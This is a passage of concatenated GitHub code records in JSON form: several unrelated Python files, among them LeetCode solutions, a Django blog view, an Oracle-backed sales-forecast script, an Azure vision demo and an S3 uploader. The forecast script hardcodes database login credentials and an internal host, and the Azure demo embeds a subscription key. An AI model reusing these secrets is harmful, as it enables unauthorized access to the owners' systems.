glutInit(sys.argv)\r\n glutInitDisplayMode(GLUT_SINGLE | GLUT_RGBA)\r\n glutInitWindowPosition(300, 0)\r\n glutInitWindowSize(window_w, window_h)\r\n glutCreateWindow(b\"Curva de Bezier\")\r\n\r\n glClearColor(0.0, 0.0, 0.0, 0.0)\r\n glMatrixMode(GL_MODELVIEW)\r\n glLoadIdentity()\r\n\r\n pontos = preencher_pontos()\r\n glutDisplayFunc(desenha)\r\n glutReshapeFunc(altera_janela)\r\n glutKeyboardFunc(teclado)\r\n glutMouseFunc(gerencia_mouse)\r\n glutMotionFunc(move_ponto)\r\n inicializa()\r\n glutMainLoop()\r\n\r\n# fim do programa","repo_name":"pcosv/Area-painting-delimited-by-a-functional-bezier-curve","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":5803,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"7834044940","text":"# Find all possible combinations of k numbers that add up to a number n, given that only numbers from 1 to 9 can be used and each combination should be a unique set of numbers.\n# \n# \n# Example 1:\n# \n# Input: k = 3, n = 7\n# \n# Output:\n# \n# [[1,2,4]]\n# \n# Example 2:\n# \n# Input: k = 3, n = 9\n# \n# Output:\n# \n# [[1,2,6], [1,3,5], [2,3,4]]\n# Credits:\n# Special thanks to @mithmatt for adding this problem and creating all test cases.\n# \n# Subscribe to see which companies asked this question\n\n# 2018.03.22\nclass Solution(object):\n def combinationSum3(self, k, n):\n \"\"\"\n :type k: int\n :type n: int\n :rtype: List[List[int]]\n \"\"\"\n def dfs(line, nums):\n if len(line) == k:\n if sum(line) == n:\n res.append(line)\n return\n else:\n return\n \n for i, num in enumerate(nums):\n dfs(line + [num], nums[i+1:])\n \n if k == 0 or n <= 0: return []\n if n > sum([ 9 - i for i in xrange(k)]): return []\n res = []\n nums = [1,2,3,4,5,6,7,8,9]\n dfs([], nums)\n return res\n \n\n# 2017.03.24 Rewrite\nclass Solution(object):\n def combinationSum3(self, k, n):\n \"\"\"\n :type k: int\n :type n: int\n :rtype: List[List[int]]\n \"\"\"\n def dfs(line, A, tgt):\n if tgt < 0: return\n if tgt == 0 and len(line) == k:\n res.append(line)\n return\n \n if len(line) < k:\n for i in xrange(len(A)):\n dfs(line + [A[i]], A[i+1:], tgt - A[i])\n \n nums = [ x for x in xrange(1, 10) ]\n res = []\n dfs([], nums, n)\n return res\n\n#\nclass Solution(object):\n def combinationSum3(self, k, n):\n \"\"\"\n :type k: int\n :type n: int\n :rtype: List[List[int]]\n \"\"\"\n res = []\n nums = range(1, 10)\n print(nums)\n self.dfsHelper(res, nums, [], n, k)\n print(res)\n return res\n\n def dfsHelper(self, res, nums, line, n, k):\n sumList = sum(line)\n if sumList > n or len(line) > k:\n return\n elif sumList == n and len(line) == k:\n res.append(line)\n return\n else:\n for i, num in enumerate(nums):\n self.dfsHelper(res, nums[i+1:], line + [num], n, k)\n\nif __name__ == \"__main__\":\n sol = Solution()\n sol.combinationSum3(3, 7)\n","repo_name":"yihanc/LC","sub_path":"PY/216_combination_sum_iii.py","file_name":"216_combination_sum_iii.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36301410940","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/7/31 9:14\n# @Author : Ye Jinyu__jimmy\n# @File : error_count.py\nimport pandas as pd\nimport cx_Oracle\nimport os\nimport numpy as np\n# 显示所有列\npd.set_option('display.max_columns', None)\n# 显示所有行\npd.set_option('display.max_rows', 500)\n# 设置value的显示长度为100,默认为50\npd.set_option('max_colwidth', 100)\n# 注:设置环境编码方式,可解决读取数据库乱码问题\nos.environ['NLS_LANG'] = 'SIMPLIFIED CHINESE_CHINA.UTF8'\nfrom matplotlib import pyplot as plt\nimport multiprocessing\nimport re\nfrom matplotlib.ticker import FuncFormatter\nimport matplotlib.dates as mdate\n#parser是根据字符串解析成datetime,字符串可以很随意,可以用时间日期的英文单词,\n# 可以用横线、逗号、空格等做分隔符。没指定时间默认是0点,没指定日期默认是今天,没指定年份默认是今年。\nfrom dateutil.parser import parse\n# from pylab import *\nplt.switch_backend('agg')\nfrom pandas.plotting import register_matplotlib_converters\nregister_matplotlib_converters()\n#如下是支持中文数字\n# mpl.rcParams['font.sans-serif'] = ['SimHei']\n#读取得到数据\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.ensemble import RandomForestRegressor\nimport matplotlib.pyplot as plt\nfrom tqdm import *\nimport itertools\nimport datetime\nimport os\nimport copy\nimport sys\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.linear_model import LinearRegression\nimport math\nimport warnings\nfrom chinese_calendar import is_workday, is_holiday\n# import chinese_calendar as calendar #\nimport time\nwarnings.filterwarnings(\"ignore\")\n\n\n#读取预测数据这里是csv的文件\ndef read_forecast_data(old_path):\n data_old = pd.read_csv(old_path,encoding='utf_8_sig',low_memory=False)\n return data_old\n\n#读取sku的名称\n#---------------------------------------------------------------->根据SKU 的id来获取每个SKU的具体的销售明细数据\ndef get_sku_name(sku_id):\n host = \"192.168.1.11\" # 数据库ip\n port = \"1521\" # 端口\n sid = \"hdapp\" # 数据库名称\n dsn = cx_Oracle.makedsn(host, port, sid)\n\n # hd40是数据用户名,xfsg0515pos是登录密码(默认用户名和密码)\n conn = cx_Oracle.connect(\"hd40\", \"xfsg0515pos\", dsn)\n # 查看出货详细单的数据\n stkout_detail_sql = \"\"\"SELECT g.NAME FROM GOODSH g WHERE g.gid = %s \"\"\" % (sku_id)\n sku_name = pd.read_sql(stkout_detail_sql, conn)\n conn.close\n return sku_name\n\n#---------------------------------------------------------------->根据SKU 的id来获取每个SKU的具体的销售明细数据\ndef get_dc_name(dc_code):\n host = \"192.168.1.11\" # 数据库ip\n port = \"1521\" # 端口\n sid = \"hdapp\" # 数据库名称\n dsn = cx_Oracle.makedsn(host, port, sid)\n\n # hd40是数据用户名,xfsg0515pos是登录密码(默认用户名和密码)\n conn = cx_Oracle.connect(\"hd40\", \"xfsg0515pos\", dsn)\n # 查看出货详细单的数据\n stkout_detail_sql = \"\"\"SELECT s.NAME FROM STORE s where s.gid = %s \"\"\" % (dc_code)\n dc_name = pd.read_sql(stkout_detail_sql, conn)\n conn.close\n return dc_name\n\n\n#--------------------------------------------------------------------------------->日的标准化转化\ndef date_normalize(data_frame):\n data_frame['Account_date'] = pd.to_datetime(data_frame['Account_date']).dt.normalize()\n return data_frame\n\n\n#--------------------------------------------------------------------------------->原始日期的标准转化\ndef date_original_normalize(data_frame):\n data_frame['OCRDATE'] = pd.to_datetime(data_frame['OCRDATE']).dt.normalize()\n return data_frame\n\n\n#------------------------------------------------------------------------------->以日期作为分组内容查看每天每个SKU的具体的销量\ndef data_group(data):\n #这里的毛利是门店卖出的总金额与仓库进货的总金额的差值比\n data['GROSS_PROFIT_RATE'] = (data['RTOTAL'] - data['TOTAL']) / data['TOTAL']\n #计算仓库销售的正确单价\n data['PRICE'] = data['PRICE']/ data['QTY']\n #以下是用来保存分组后的数据\n sales_data = pd.DataFrame(columns = [\"Account_date\",\"Sku_id\",'Dc_name',\"Sales_qty\",\"Price\",'Gross_profit_rate','Dc_code',\n 'Wrh','Warehouse_name','Sku_name','Munit'])\n sales_data[\"Sales_qty\"]=data.groupby([\"OCRDATE\"],as_index = False).sum()[\"QTY\"]\n sales_data[\"Price\"] = data.groupby([\"OCRDATE\"],as_index = False).mean()[\"PRICE\"]\n sales_data[\"Gross_profit_rate\"] = data.groupby([\"OCRDATE\"],as_index = False).mean()[\"GROSS_PROFIT_RATE\"]\n sales_data[\"Account_date\"]= data.groupby(['OCRDATE']).sum().index\n sales_data[\"Sku_id\"] = [data[\"GDGID\"].iloc[0]]*len(sales_data[\"Sales_qty\"])\n sales_data[\"Dc_name\"] = [data[\"DC_NAME\"].iloc[0]] * len(sales_data[\"Sku_id\"])\n sales_data[\"Dc_code\"] = [data[\"SENDER\"].iloc[0]] * len(sales_data[\"Sku_id\"])\n sales_data[\"Munit\"] = [data[\"MUNIT\"].iloc[0]] * len(sales_data[\"Sales_qty\"])\n sales_data[\"Wrh\"] = [data[\"WRH\"].iloc[0]] * len(sales_data[\"Sales_qty\"])\n sales_data[\"Warehouse_name\"] = [data[\"WAREHOUSE_NAME\"].iloc[0]] * len(sales_data[\"Sales_qty\"])\n sales_data[\"Sku_name\"] = [data[\"SKU_NAME\"].iloc[0]] * len(sales_data[\"Sales_qty\"])\n sales_data = sales_data.sort_values( by = ['Account_date'], ascending = False)\n return sales_data\n\n#------------------------------------------------------------------>根据SKU 的id来获取每个SKU的具体的销售明细数据\ndef get_detail_sales_data(sku_id,start_date,end_date,DC_CODE):\n host = \"192.168.1.11\" # 数据库ip\n port = \"1521\" # 端口\n sid = \"hdapp\" # 数据库名称\n dsn = cx_Oracle.makedsn(host, port, sid)\n\n # hd40是数据用户名,xfsg0515pos是登录密码(默认用户名和密码)\n conn = cx_Oracle.connect(\"hd40\", \"xfsg0515pos\", dsn)\n # 查看出货详细单的数据\n stkout_detail_sql = \"\"\"SELECT b.SENDER,s1.NAME AS Dc_name,S.WRH,w.NAME AS \n warehouse_name,g.NAME AS sku_name,s.GDGID,b.NUM,s.RTOTAL,b.OCRDATE,\n s.CRTOTAL,s.MUNIT,s.QTY,s.QTYSTR,\n s.TOTAL,s.PRICE,s.QPC FROM STKOUTDTL s INNER JOIN(\n select *\n from STKOUT s\n INNER JOIN STORE s1 ON s.sender = s1.gid\n INNER JOIN STORE s2 ON s.CLIENT = s2.gid\n WHERE bitand(s1.property,32)=32 \n AND bitand(s2.property,32)<>32 \n AND substr(s2.AREA,2,3)<'8000' \n AND s.CLS='统配出')b ON s.NUM = b.NUM \n AND s.CLS='统配出' AND s.GDGID= %s\n and b.OCRDATE >= to_date('%s','yyyy-mm-dd') \n and b.OCRDATE <= to_date('%s','yyyy-mm-dd') \n and b.sender = %s\n INNER JOIN(SELECT * FROM goodsh G WHERE G.SORT<'8000' )g ON s.gdgid=g.gid\n INNER JOIN(SELECT * FROM WAREHOUSE w WHERE w.NAME LIKE'%%商品仓%%' )w ON w.GID = S.WRH\n INNER JOIN(SELECT * FROM STORE s1 )S1 ON S1.GID = b.SENDER \"\"\" % \\\n (sku_id,start_date,end_date,DC_CODE)\n stkout_detail = pd.read_sql(stkout_detail_sql, conn)\n conn.close\n return stkout_detail\n\n\n\n#------------------------------------------------------------------------->设置函数按照预测的数据,并完成画图\ndef get_real_data(forecast_data,start_date):\n\n DC_list = set(forecast_data['Dc_code'])\n end_date = forecast_data['Account_date'].max()\n print('读取的截止日期和开始日期是:%s,%s,日期格式是%s'%(start_date,end_date,type(end_date)))\n final_data = pd.DataFrame()\n for DC in tqdm(DC_list):\n DC_data = pd.DataFrame()\n forecast_data_mid = forecast_data[forecast_data['Dc_code'] == DC]\n sku_id_list = set(forecast_data_mid['Sku_id'])\n dc_name = forecast_data_mid['Dc_name'].iloc[0]\n for x in tqdm(sku_id_list):\n print('正在读取' + str(DC) + '的统计学指标,sku是'+str(x))\n detail_sales = get_detail_sales_data(x,start_date,end_date,DC)\n forecast_data_mid_sku = forecast_data_mid[forecast_data_mid['Sku_id'] == x ]\n sku_name = forecast_data_mid_sku['Sku_name'].iloc[0]\n print(detail_sales)\n if detail_sales.empty ==True:\n print('该资源为空')\n pass\n else:\n detail_sales = date_original_normalize(detail_sales)\n sales_group = data_group(detail_sales)\n sales_shop_data = sales_group.reset_index(drop=True, inplace=False)\n sales_shop_data = date_normalize(sales_shop_data)\n forecast_data_mid_sku = date_normalize(forecast_data_mid_sku)\n print('sales_shop_data',sales_shop_data)\n print('forecast_data_mid_sku', forecast_data_mid_sku)\n DC_data = pd.merge(sales_shop_data,forecast_data_mid_sku,\n on=['Account_date','Sku_id','Dc_name',\n 'Dc_code','Munit','Warehouse_name'\n ,'Sku_name','Wrh'],how='outer')\n\n # if os.path.exists('D:/jimmy-ye/AI_supply_chain/data/'\n # 'forecast_holiday/total_compare' + str(int(DC)) + str(dc_name) +\n # '_' + str(int(x)) + str(sku_name) + '.csv'):\n DC_data.to_csv('D:/jimmy-ye/AI_supply_chain/data/'\n 'forecast_holiday/total_compare' + str(int(DC)) + str(dc_name) +\n '_' + str(int(x)) + str(sku_name) + '.csv',encoding='utf_8_sig')\n\n mean_error = DC_data.fillna(method='ffill')\n # print('mean_error')\n # print(mean_error)\n DC_data = DC_data.append(mean_error)\n # else:\n # pass\n # print(DC_data)\n final_data = final_data.append(DC_data)\n return final_data\n\n\n\n\n\ndef main_function(old_path,start_date):\n data = read_forecast_data(old_path)\n final_data= get_real_data(data,start_date)\n print(final_data)\n final_data.to_csv('D:/jimmy-ye/AI_supply_chain/data/'\n 'forecast_holiday/total_compare.csv',\n encoding=\"utf_8_sig\")\n\n\n\n\nstart = '20180101'\n\n\nmain_function('D:/jimmy-ye/AI_supply_chain/data/forecast_holiday/final_holiday.csv',start)\n","repo_name":"jimmyeva/AI-predict","sub_path":"xianfengsg/forecaset/V1.2/error_count.py","file_name":"error_count.py","file_ext":"py","file_size_in_byte":10723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70093738989","text":"from collections import deque\n\ndef solution(n, computers):\n def BFS(k):\n nonlocal answer\n answer += 1\n Q = deque([k])\n while Q:\n nr = Q.popleft()\n\n for nc in range(0, n):\n\n if computers[nr][nc] and not v[nc]:\n v[nc] = 1\n Q.append(nc)\n\n v = [0] * n\n answer = 0\n\n for i in range(n):\n for j in range(n):\n if computers[i][j] and not v[j]:\n BFS(i)\n\n print(answer)\n return answer\n\n\nn = 3\ncomputers = [[1, 1, 0], [1, 1, 0], [0, 0, 1]]\n\nsolution(n,computers)","repo_name":"heogeon0/Algorithm","sub_path":"DFSBFS/프로그래머스_네트워크.py","file_name":"프로그래머스_네트워크.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33658878674","text":"from backgorund_image import backgroundImage\r\nfrom check_directory import add_path\r\ndef filter_background_image():\r\n type_filter = int(input('type_filter : '))\r\n background_filter =''\r\n color = ''\r\n type_of_background = input('enter type of background : [gray,image,blur,color] : ')\r\n\r\n path_input_image=add_path(input('image path : '),'Input_image/')\r\n\r\n if type_filter ==0 and type_of_background == 'image' :\r\n background_filter = add_path(input('path image : '), 'input_background/')\r\n backgroundImage(type_of_background, path_input_image,color, background_filter)\r\n\r\n\r\n if type_of_background=='color':\r\n add_color = input('input color rgb : 0,0,255 : ')\r\n color = tuple(map(int, add_color.split(',')))\r\n\r\n if type_filter == 1 :\r\n backgroundImage(type_of_background,path_input_image,color,'../assest/background/back1.png')\r\n if type_filter == 2 :\r\n backgroundImage(type_of_background,path_input_image,background_filter,color,'../assest/background/back2.png')\r\n\r\nfilter_background_image()","repo_name":"Python-Hiss/Filteristic","sub_path":"background_image/filter_background_image.py","file_name":"filter_background_image.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41427488391","text":"class Solution(object):\n def subtractProductAndSum(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n inpu = n\n prod = 1\n summed = 0\n while inpu != 0:\n digit = inpu % 10\n inpu = inpu / 10\n prod *= digit\n summed += digit\n return prod - summed","repo_name":"BhavyaShah99/leet-code-hackerrank-practice","sub_path":"sub-product-and-sum.py","file_name":"sub-product-and-sum.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22442590188","text":"from django.shortcuts import render\nfrom .models import Post, Contato\n\n# Create your views here.\n\ndef hello_blog(request):\n lista = [\n 'Django', 'Python', 'Git', 'Html',\n 'Banco de dados', 'Admin', 'Java', 'C++',\n 'C#'\n ]\n list_posts = Post.objects.all()\n\n data = {\n 'name': 'Django 3', \n 'lista_tecnologias': lista, \n 'posts': list_posts}\n \n \n return render(request, 'index.html', data)\n\ndef post_detail(request, id):\n post = Post.objects.get(id=id)\n return render(request, 'post_detail.html', {'post': post})\n\ndef save_form(request):\n name = request.POST['name']\n Contato.objects.create(\n name=name,\n email=request.POST['email'],\n message=request.POST['message']\n )\n return render(request, 'contato_sucesso.html', {'name_contato': name})","repo_name":"cadu77/Blog-2","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74503875626","text":"import requests\n# If you are using a Jupyter notebook, uncomment the following line.\n#%matplotlib inline\nimport matplotlib.pyplot as plt\nimport json\nfrom PIL import Image\nfrom io import BytesIO\n\n# Replace <Subscription Key> with your valid subscription key.\nsubscription_key = \"397e1aeb8cb14c8a90d246bfa8d32cd2\"\nassert subscription_key\n\n# You must use the same region in your REST call as you used to get your\n# subscription keys. For example, if you got your subscription keys from\n# westus, replace \"westcentralus\" in the URI below with \"westus\".\n#\n# Free trial subscription keys are generated in the \"westus\" region.\n# If you use a free trial subscription key, you shouldn't need to change\n# this region.\nvision_base_url = \"https://westcentralus.api.cognitive.microsoft.com/vision/v2.0/\"\n\nanalyze_url = vision_base_url + \"analyze\"\n\n# Set image_url to the URL of an image that you want to analyze.\nimage_url = \"https://www.gannett-cdn.com/presto/2018/11/28/USAT/294aec28-e899-48e0-a50b-632fa588f58b-AP_AptOPIX_Trump.JPG?crop=1471,1269,x1623,y129&width=534&height=401&fit=bounds&auto=webp\"\n\nheaders = {'Ocp-Apim-Subscription-Key': subscription_key }\nparams = {'visualFeatures': 'Categories,Description,Color'}\ndata = {'url': image_url}\nresponse = requests.post(analyze_url, headers=headers, params=params, json=data)\nresponse.raise_for_status()\n\n# The 'analysis' object contains various fields that describe the image. The most\n# relevant caption for the image is obtained from the 'description' property.\nanalysis = response.json()\nprint(json.dumps(response.json()))\nimage_caption = analysis[\"description\"][\"captions\"][0][\"text\"].capitalize()\n\n# Display the image and overlay it with the caption.\nimage = Image.open(BytesIO(requests.get(image_url).content))\nplt.imshow(image)\nplt.axis(\"off\")\n_ = plt.title(image_caption, size=\"x-large\", y=-0.1)\nplt.show()\n","repo_name":"danny-ngo/awesomeface","sub_path":"azure.py","file_name":"azure.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"11647617592","text":"import sys\nfrom code.logging.logger import Logger\nfrom code.parser.parameter import Parameter\nfrom code.parser.parameterlist import ParameterList\nfrom code.parser.parser import Parser\nfrom pyparsing import Regex, Forward, ZeroOrMore, Optional, ParseException\n\n\n \nclass Constructor(ParameterList, Parser):\n \"\"\"Class to parse constructor information.\n\n The parameter (return type, member function invocation, parameter list) \n will be parsed by this class.\n \n Inherits from:\n ParameterList: Storage of parameter information in list.\n Parser: Provides procedure parse()\n \n Variables:\n constructor: Fully qualified constructor invocation name.\n class_name: Class name of constructor.\n \"\"\" \n \n def __init__(self, argument):\n \"\"\"Constructor.\n \n Variables:\n argument: Data to be parsed.\n \"\"\"\n ParameterList.__init__(self)\n \n self.constructor = None\n self.class_name = None\n self.template_args = None\n\n self.parse(argument)\n \n \n def parse(self, argument):\n \"\"\"Procedure to parse constructor information.\n \n Variables:\n argument: Data to be parsed.\n \"\"\"\n # pyparsing syntax parser definition\n template = ZeroOrMore(' ') + Regex(r'<[a-zA-Z0-9\\,\\ ]+>') + \\\n ZeroOrMore(' ')\n classQualifier = Forward()\n classQualifierRegex = Regex(r'[a-zA-Z_0-9]+::')\n classQualifier << classQualifierRegex + ZeroOrMore(classQualifier)\n className = Regex(r'[a-zA-Z_0-9]+')\n classAll = (ZeroOrMore(classQualifier) + className + Optional( \\\n Regex(r'<[a-zA-Z0-9\\,\\ :]+>'))).setResultsName('constructor') \n\n anyString = ( Regex(r'(.*)') ) .setResultsName('parameters_text')\n constructor = Optional(template).setResultsName('template') + \\\n classAll + anyString\n \n #parse argument \n parse = None\n try:\n parse = constructor.parseString(argument, True )\n except ParseException as err:\n Logger().debug(err.line)\n Logger().debug(str(err))\n Logger().error('constructor parsing error \"%s\"' % argument)\n sys.exit(5)\n\n try:\n Logger().debug('entering conversion ...')\n \n #set constructor and class_name\n self.constructor = ''\n for item in parse['constructor']:\n self.constructor = self.constructor + item\n self.class_name = item\n\n Logger().debug('constructor %s' % self.constructor)\n \n #analyse parameter list \n Logger().debug('constructor parameter_list:')\n parameters_text = parse['parameters_text'][1:-1]\n\n #analyse parameter list - first step: include object parameter\n first_parameter = 'std::string ObjectId '\n if parameters_text:\n parameters_text = first_parameter + ', ' + parameters_text\n else:\n parameters_text = first_parameter\n\n # parse argument list \n if parameters_text: \n liste = parameters_text.split(',')\n Logger().debug(liste)\n pos = 0\n while pos<len(liste):\n text = liste[pos].strip()\n count = self.get_brackets(text)\n while count!=0 and pos<len(liste):\n pos += 1\n if pos<len(liste):\n text = text+','+liste[pos]\n count = self.get_brackets(text)\n Logger().debug('processing '+text+' '+str(count))\n if text and count==0:\n parameter = Parameter(text)\n self.parameter_list.append( parameter )\n else:\n Logger().error('constructor error parameter \"%s\" in \\\n \"%s\" at position %d.' % (text, liste, pos))\n sys.exit(5)\n pos += 1 \n Logger().debug('OK')\n\n if 'template' in parse.keys() is not None:\n self.template_args = []\n args = parse['template'][0][1:-1].split(',')\n for arg in args:\n self.template_args.append(arg.strip())\n Logger().debug('template args '+str(self.template_args))\n \n Logger().debug('leaving conversion ...')\n except:\n Logger().error('constuctor conversion error \"%s\" (%d)' % \\\n (argument, pos))\n sys.exit(5)\n \n \n def get_classname(self):\n \"\"\"Function to return fully qualified class name .\n \"\"\"\n return self.constructor\n \n def get_templateargs(self):\n \"\"\"Function to return template arguments.\n \"\"\"\n return self.template_args\n \n# \n# \n# def get_classname(self):\n# \"\"\"Function to return class name.\n# \"\"\"\n# return self.class_name\n\n \n \nif __name__ == \"__main__\":\n source_code = '<TraitsID>QuantLib::Ql<Test>(std::vector< PP::QuantLib::Day> Day, Date dat, d d)' \n# source_code = 'QuantLib::Ql<Test>(std::vector< PP::QuantLib::Day> Day, Date dat, d d)' \n Logger().debug(Constructor(source_code).get_classname())\n Logger().debug(Constructor(source_code).get_templateargs())\n# source_code = 'QuantLib::Ql(std::vector< PP::QuantLib::Day> Day, Date dat, d d)'\n# Logger().debug(Constructor(source_code).get_classname())\n# Logger().debug(Constructor(source_code).get_templateargs())\n","repo_name":"lcallenbach/quantlibaddin","sub_path":"gensrc/code/parser/constructor.py","file_name":"constructor.py","file_ext":"py","file_size_in_byte":5789,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"74760943467","text":"'''\nGet the latest image from archillect.\n'''\nfrom urllib import request\nfrom bs4 import BeautifulSoup\n\n\n__author__ = 'iandioch'\nCOMMAND = 'arch'\nURL = 'http://archillect.com'\n\n\ndef get_html(url):\n return request.urlopen(url).read()\n\n\ndef get_latest_image_url():\n root_html = get_html(URL)\n soup = BeautifulSoup(root_html, 'html.parser')\n cont = soup.find(id='container')\n link = cont.a['href']\n\n latest_post_url = URL + link\n latest_post_html = get_html(latest_post_url)\n soup = BeautifulSoup(latest_post_html, 'html.parser')\n return soup.find('img')['src']\n\n\ndef main(bot, author_id, message, thread_id, thread_type, **kwargs):\n image = get_latest_image_url()\n bot.sendRemoteImage(image, thread_id=thread_id, thread_type=thread_type)\n\n\nif __name__ == '__main__':\n print(get_latest_image_url())\n","repo_name":"cpssd-students/steely","sub_path":"steely/plugins/archillect.py","file_name":"archillect.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"37"} +{"seq_id":"36653405665","text":"import boto3\nfrom PyQt5.QtWidgets import QFileDialog\n\ndef make_extention(file):\n blank = ''\n extention = file.split('/')\n extention = extention[-1]\n\n if extention.find('.') == -1:\n return blank\n else:\n extention = extention.split('.')\n extention = extention[-1]\n extention = '.'+extention\n return extention\n\ndef openFileNameDialog(self):\n options = QFileDialog.Options()\n options |= QFileDialog.DontUseNativeDialog\n fileName, _ = QFileDialog.getOpenFileName(self, \"QFileDialog.getOpenFileName()\", \"\",\n \"All Files (*);;Python Files (*.py)\", options=options)\n return fileName\n\ndef uploadFile(self, file_path, file_name, folder=None, bucket='dsm-chatting'):\n s3 = boto3.resource('s3')\n print(file_path)\n extender = make_extention(file_path)\n print(extender)\n s3_path = None\n if folder:\n s3_path = folder + '/' + file_name + extender\n else:\n s3_path = file_name + extender\n\n print(s3_path)\n s3.meta.client.upload_file(file_path, bucket, s3_path)","repo_name":"smirkkk/Thread-Chat-Client","sub_path":"Module/myfile.py","file_name":"myfile.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"24585557259","text":"\"\"\"ip-lock Module Setup\"\"\"\n\nfrom setuptools import find_packages, setup\n\nfrom ip_lock import __VERSION__\n\n\nINSTALL_REQUIRES = [\"PyYAML>=5.4\", \"requests==2.21.0\"]\n\n\nif __name__ == \"__main__\":\n setup(\n name=\"ip-lock\",\n version=__VERSION__,\n description=(\n \"A utility for keeping your dynamic public\"\n \" IP address up to date within your DNS provider.\"\n ),\n author=\"Chase Nicholl\",\n author_email=\"hello@chasenicholl.com\",\n url=\"https://github.com/chasenicholl/ip-lock\",\n packages=find_packages(),\n scripts=[\"bin/ip_lock\"],\n install_requires=INSTALL_REQUIRES,\n include_package_data=True,\n )\n","repo_name":"chasenicholl/ip-lock","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"22609883975","text":"import json\nimport numpy as np\n\n#Create empty dictionary\nQ = {}\n\n#Getting the vertical and horizontal states\nvertical_space = np.linspace(-400, 400, 200)\nhorizontal_space = np.linspace(0, 500, 50)\n\n\n#Fill in the dictionary for each state\nfor i in range(len(vertical_space)+1):\n\tfor j in range(len(horizontal_space)+1):\n\t\tfor action in range(2):\n\t\t\tQ[str(((i, j), action))] = 0\n\n\n'''for i in range(len(vertical_space)+1):\n\tfor action in range(2):\n\t\tQ[str((i, action))] = 0\n'''\n\n#Open the json file\nout_file = open(\"q_table.json\", \"w\") \n\n\n#Put the initial q-values in the file\njson.dump(Q, out_file)\n\n#Close the file\nout_file.close() ","repo_name":"erkinpolat/Reinforcement-Learning","sub_path":"flappy_bird/initialize_q_table.py","file_name":"initialize_q_table.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40619821264","text":"import sys\nimport json\n\nsys.path.insert(0, 'src/data')\nsys.path.insert(0, 'src/analysis')\nsys.path.insert(0, 'src/model')\nsys.path.insert(0, 'src/test')\n\nimport preact_resnet_orig, utils_orig\nimport train_fgsm, train_pgd_orig\n# from train_pgd_orig import train_pgd_attack\n\ndef main(targets):\n '''\n Runs the main project pipeline logic, given the targets.\n targets must contain: 'data', 'analysis', 'model'. \n \n `main` runs the targets in order of data=>analysis=>model.\n '''\n print(\"main\", targets)\n# if 'data' in targets:\n# with open('config/data-params.json') as fh:\n# data_cfg = json.load(fh)\n\n# # make the data target\n# data = get_data(**data_cfg)\n\n if 'analysis' in targets:\n with open('config/analysis-params.json') as fh:\n analysis_cfg = json.load(fh)\n\n # make the data target\n train_fgsm.main()\n\n# if 'model' in targets:\n# with open('config/model-params.json') as fh:\n# model_cfg = json.load(fh)\n\n# # make the data target\n# train(data, **model_cfg)\n \n if 'test' in targets:\n with open('config/test-params.json') as fh:\n model_cfg = json.load(fh)\n print('success')\n # make the data target\n train_pgd_orig.test_capabilities()\n print(\"done with PGD\")\n # write a successful output\n print(\"end of test\")\n# with open('test/testoutput/test_runresults.txt', 'w') as f:\n# f.write('test successful')\n return\n\n\nif __name__ == '__main__':\n # run via:\n # python main.py data model\n targets = sys.argv[1:]\n print(\"hello\")\n main(targets)\n","repo_name":"Maderlime/DSC180_Q1_Code","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8330820593","text":"import grafo\n\ndef popular_grafo(archivo):\n\twith open(archivo,'r+') as file:\n\t\t# saltear comentarios\n\t\tfor i in range(5):\n\t\t\tline = file.readline()\n\n\t\t# crear el grafo\n\t\tnuevoGrafo = grafo.Grafo()\n\t\t\n\t\t# popular el grafo\n\t\twhile line: \n\t\t\tpar = line.replace('\\n','').split('\\t')\n\t\t\tif not nuevoGrafo.vertice_pertenece(par[0]):\n\t\t\t\tnuevoGrafo.agregar_vertice(par[0])\n\t\t\tif not nuevoGrafo.vertice_pertenece(par[1]):\n\t\t\t\tnuevoGrafo.agregar_vertice(par[1])\n\t\t\tnuevoGrafo.agregar_arista(par[0],par[1])\n\t\t\tline = file.readline()\n\treturn nuevoGrafo\n\nif __name__ == \"__main__\":\n\tpopular_grafo()","repo_name":"lucas-veloso/algo-tp3","sub_path":"popgrafo.py","file_name":"popgrafo.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8587589255","text":"# Extract 500 sentences of depressed and non depressed subjects\n\nfrom json import dump, load\nfrom os import path\nfrom random import shuffle, seed\nfrom tqdm import tqdm\n\n# load precomputed json\nwith open(path.join('Data', 'data_json.json'), 